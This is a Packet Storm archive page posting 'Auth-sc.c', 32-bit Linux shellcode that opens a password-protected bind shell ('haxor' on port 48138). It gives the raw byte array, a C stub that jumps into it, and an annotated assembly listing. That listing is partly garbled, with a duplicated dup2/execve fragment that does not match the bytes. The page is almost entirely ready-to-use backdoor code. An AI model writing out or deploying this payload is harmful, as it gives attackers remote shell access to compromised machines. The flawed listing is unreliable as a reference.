exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Auth-sc.c

Auth-sc.c
Posted May 11, 2004
Authored by NrAziz

Shellcode for binding to port 48138 and requiring a password of haxor.

tags | shellcode
SHA-256 | b47480e34fb41f125be3325034ad0d4d2c62187de7fcf8bb77fcaa62c59817be

Auth-sc.c

Change Mirror Download
/*                   
*
*

# Private Antisec Productions.
# Greetz to newroot,esdee,rave,gorny, ...

#polygrithm@hotmail
###################
# AUTH-BIND-CODE #
# BY NRAZIZ #
# JAN.04 #
# @nt!s3c-cr3w #
#nraziz@antisec.de#
###################
*
*
*/


/*
* Binds to port 0xabc (48138)
* Password: haxor
*/


char bindcode[]=
"\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x31\xd2\x52\x66\x68\xbc\x0a\x66\x6a\x02\x89\xe2\x6a"
// port ^^ ^^
"\x10\x52\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
"\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc9"
"\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31"
"\xdb\x53\x6a\x3a\x68\x50\x61\x73\x73\x89\xe6\x6a\x05"
"\x56\x6a\x04\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x31\xc9"
"\x31\xf6\x51\x6a\x05\x52\x6a\x04\x89\xe1\xb3\x0a\xb0"
"\x66\xcd\x80\x31\xc9\x51\x6a\x72\x68\x68\x61\x78\x6f"
"\x89\xe7\x89\xd6\x80\xc1\x05\xfc\xf3\xa6\x75\xbf\x31"
"\xc9\xb3\x04\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0"
"\x01\xcd\x80";


int main(void)
{

(*(void (*)())bindcode)();

return 0;
}


/*
********* ASM CODE *************
.section .text
.globl _start
_start:

#socket(2,1,0)
xorl %ebx,%ebx
push %ebx
incl %ebx
push %ebx
push $0x2
movl %esp,%ecx
movb $0x66,%al
int $0x80
#info.sin_addr.saddr=0x0,info.sin_port=0xabc,info.sin_family=2
xorl %edx,%edx
pushl %edx
pushw $0xabc
pushw $0x2
movl %esp,%edx

#bind(sockfd,&info,0x10)
#0x3 return fd from socket()

push $0x10
push %edx
push $0x3
movl %esp,%ecx
incb %bl
movb $0x66,%al
int $0x80

#listen(sockfd,3)
push $0x2
push $0x3
movl %esp,%ecx
movb $0x4,%bl
movb $0x66,%al
int $0x80

#accept(sockfd,0,0)
xorl %ecx,%ecx
push %ecx
push %ecx
push $0x3
movl %esp,%ecx
incb %bl
movb $0x66,%al
int $0x80

again:

#send()
xorl %ebx,%ebx
push %ebx #this is better then some
push $0x3a #stupid [jmp,call] teknique :)
push $0x73736150 #"Pass" followed by ":" and 0x0
movl %esp,%esi
push $0x5
push %esi
push $0x4
movl %esp,%ecx
movb $0x9,%bl
movb $0x66,%al
int $0x80

#recv()
xorl %ecx,%ecx
xorl %esi,%esi
push %ecx
push $0x5
push %edx
push $0x4
movl %esp,%ecx
movb $10,%bl
movb $0x66,%al
int $0x80

#compareing da passworz
xorl %ecx,%ecx
push %ecx
push $0x72
push $0x6f786168
movl %esp,%edi
movl %edx,%esi
add $0x5,%cl
cld
rep cmpsb
jnz again

#dup2()'s
xorl %ecx,%ecx
movb $0x4,%bl
loop:
movb $0x3f,%al
int $0x80
incl %ecx
cmpl $0x3,%ecx
jne loop


#execve()
xorl %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
push %eax
movb $0x3f,%al
int $0x80
incl %ecx
cmpl $0x3,%ecx
jne loop


#execve()
xorl %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
push %eax
push %ebx
movl %esp,%ecx
xorl %edx,%edx
movb $0xb,%al
int $0x80


#exit()
movb $0x1,%al
int $0x80
******************************************************
*/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close